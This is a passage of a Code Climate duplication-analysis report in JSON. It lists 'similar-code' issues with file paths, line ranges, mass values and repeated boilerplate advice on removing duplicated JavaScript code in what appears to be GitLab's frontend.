bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 79**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f7da63bef0b10cc1b2852a187aa6da7a","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":14,"end":14}},"remediation_points":1290000,"other_locations":[{"path":"app/assets/javascripts/monitoring/utils/multiple_time_series.js","lines":{"begin":8,"end":19}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 78**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c151b6404d32d859c90476abc53a459a","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/monitoring/utils/multiple_time_series.js","lines":{"begin":8,"end":19}},"remediation_points":1290000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":14,"end":14}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 78**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2e1258cb46a94d486ff0c217b7ee506b","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/tree.js","lines":{"begin":78,"end":84}},"remediation_points":1260000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":81,"end":87}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 77**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5801c2247d4ab393293432462fbf849b","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":81,"end":87}},"remediation_points":1260000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/tree.js","lines":{"begin":78,"end":84}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 77**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0b9486994211d1c4a0385b3c9ac7339f","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/droplab/hook_input.js","lines":{"begin":4,"end":14}},"remediation_points":1230000,"other_locations":[{"path":"app/assets/javascripts/droplab/hook_button.js","lines":{"begin":4,"end":14}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 76**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ce9535c497280ac0f885dd216908adc4","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/droplab/hook_button.js","lines":{"begin":4,"end":14}},"remediation_points":1230000,"other_locations":[{"path":"app/assets/javascripts/droplab/hook_input.js","lines":{"begin":4,"end":14}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 76**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5ee1687cc7901d1085a41d0b7d5b3730","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/modules/pipelines/actions.js","lines":{"begin":84,"end":96}},"remediation_points":1230000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/modules/file_templates/actions.js","lines":{"begin":53,"end":65}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 76**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0d9f79efa645b760bbea0b48922a8231","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/modules/file_templates/actions.js","lines":{"begin":53,"end":65}},"remediation_points":1230000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/modules/pipelines/actions.js","lines":{"begin":84,"end":96}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 76**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9033fca3ba0465c4cc79203ac97a67c6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/behaviors/preview_markdown.js","lines":{"begin":197,"end":202}},"remediation_points":1200000,"other_locations":[{"path":"app/assets/javascripts/behaviors/preview_markdown.js","lines":{"begin":204,"end":209}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 75**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"46e2ef5ccb0e3676b035d790303474f6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/behaviors/preview_markdown.js","lines":{"begin":204,"end":209}},"remediation_points":1200000,"other_locations":[{"path":"app/assets/javascripts/behaviors/preview_markdown.js","lines":{"begin":197,"end":202}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 75**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"46e2ef5ccb0e3676b035d790303474f6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/reports/store/actions.js","lines":{"begin":61,"end":67}},"remediation_points":450000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/modules/pipelines/actions.js","lines":{"begin":73,"end":79}},{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":56,"end":62}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f6738e3ca61bc9141c14aca35a4ece63","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":56,"end":62}},"remediation_points":450000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/modules/pipelines/actions.js","lines":{"begin":73,"end":79}},{"path":"app/assets/javascripts/reports/store/actions.js","lines":{"begin":61,"end":67}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b0ce2389e2ef7f95bdab6dd30392133a","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/modules/pipelines/actions.js","lines":{"begin":73,"end":79}},"remediation_points":450000,"other_locations":[{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":56,"end":62}},{"path":"app/assets/javascripts/reports/store/actions.js","lines":{"begin":61,"end":67}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum 